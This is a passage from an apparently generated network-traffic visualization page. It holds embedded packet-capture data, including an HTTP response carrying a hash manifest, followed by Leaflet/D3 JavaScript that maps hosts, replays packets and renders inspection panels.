36817, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64007, \"tcp_seq\": 795081144, \"tcp_ack\": 2190247974, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 132, \"timestamp\": 1782655313.923107, \"timestamp_iso\": \"2026-06-28T19:31:53.923107\", \"timestamp_human\": \"2026-06-28 19:31:53.923\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"23.143.152.86\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36818, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64007, \"tcp_seq\": 795081144, \"tcp_ack\": 2190247974, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3430, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a703976\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9v\"}, {\"packet_number\": 134, \"timestamp\": 1782655313.923291, \"timestamp_iso\": \"2026-06-28T19:31:53.923291\", \"timestamp_human\": \"2026-06-28 19:31:53.923\", \"size\": 417, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"23.143.152.86\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36821, \"ip_len\": 403, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64007, \"tcp_seq\": 795085192, \"tcp_ack\": 2190247974, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 363, \"payload_preview\": \"6f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"oKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 2}, \"packet_sizes\": [66, 54, 4102, 417], \"inter_packet_intervals\": [0.0002968311309814453, 0.5870130062103271, 0.00018405914306640625], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.587493896484375, \"avg_packet_size\": 1159.75, \"packets_per_second\": 6.808581372396239, \"bytes_per_second\": 7896.252246636538, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 417, \"avg_interval\": 0.195831298828125, \"min_interval\": 0.00018405914306640625, \"max_interval\": 0.5870130062103271}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span 